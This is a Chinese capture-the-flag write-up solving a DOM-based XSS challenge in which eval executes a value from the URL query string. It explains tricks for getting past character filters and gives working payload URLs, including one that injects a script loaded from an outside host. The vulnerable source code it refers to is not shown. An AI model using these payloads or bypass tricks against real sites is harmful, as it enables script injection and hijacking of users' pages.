n0js case1 writeup

n0js case1 writeup

http://server.n0tr00t.com/n0js/case2.html
废话不说,上代码






很明显,这是一个xss。当然了,xss基础的话我就不多讲了。script标签中使用eval执行window.location.search.substring(1).split("=")[1]的代码。这段代码的意思是获取浏览器地址栏的地址,并且使用=分割,返回分割后数组的第二个元素。例如:http://server.n0tr00t.com/n0js/case2.html?1=x这段地址。首先获取1=x这一段,然后使用=分割,并返回数组的第二个元素,也就是x。

好了,那我们输入以下代码1=alert(1),这样就执行了xss漏洞。但是题目的要求是利用这个xss漏洞去修改iframe,使之弹窗或者加载其他地址。所以我们分析一下这个题的坑。

  • 执行的js代码不能有=符号,不然会被split所分割,导致=号后面的代码不能实行,例如var x=1;这段代码就无法正确执行。
  • 因为浏览器的原因,不能含有单引号,双引号,空格,不然会被url编码,导致执行出错。
  • 最重要的一点是,因为含有xss漏洞的script标签在iframe前面,导致不能获取到iframe的标签内容。具体可以看一下DOM加载顺序这一块知识。在script标签执行的时候,iframe标签还没有呢,当然获取不到咯。

针对上面的即可坑,我来一一解答

  • 可以使用‘跳板’的方法。大家可以看见,window.location.search.substring是获取子字符串的,也就是说,如果我们这段代码是eval((window.location.search.substring(xx)));,xx是子字符串的起点,也就是split(=)的第三个元素开始处,就可以绕过=这个坑。这段代码相当于再继续执行后面的一大串内容,并且不受第一个坑的限制了。例如
http://server.n0tr00t.com/n0js/case2.html?1=eval((window.location.search.substring(49)));=console.log(1)

下面我们可以分析一下,substring返回1=eval((window.location.search.substring(49)));=console.log(1)这一段,split(=),分为三部分,第一部分是1,第二部分是eval((window.location.search.substring(49)));,第三部分是console.log(1),执行第二部分。但是第二部分,又会去使用substring从浏览器的地址栏中获取console.log(1)这一部分,并使用eval去执行。

  • 针对于第二个坑,空格我们可以使用/**/注释去绕过,例如var/**/x=1,针对于单引号,双引号这一块,我们可以使用反引号`去绕过。在调用函数的时候,可以使用ES6的另一个特性,使用function_name\ 代替 functon_name() ,例如 alertx ``。
  • 针对第三个坑,我们可以使用window.onload事件啊。这个事件就是等页面全部加载完了才去执行的。在特面加载完了以后,自然就能找到iframe标签了。
    好了,这是题的分析过程,下面直接给出payload
http://server.n0tr00t.com/n0js/case2.html?1=eval((window.location.search.substring(49)));=window.onload=function(){document.getElementsByTagName(`iframe`)[0].src=`http://www.baidu.com`};//=

当然了,也可以插入script标签,并且可以将所有想执行的都扔到你自己引用的js文件中。这种方法的弊端是得需要一个服务器。下面给出这种方法的payload:

http://server.n0tr00t.com/n0js/case2.html?1=eval((window.location.search.substring(49)));=var/**/script=document.createElement`script`;script.src=`https://ctf.f4ck0.com/1.js`;document.body.appendChild(script);

你可能感兴趣的:(n0js case1 writeup)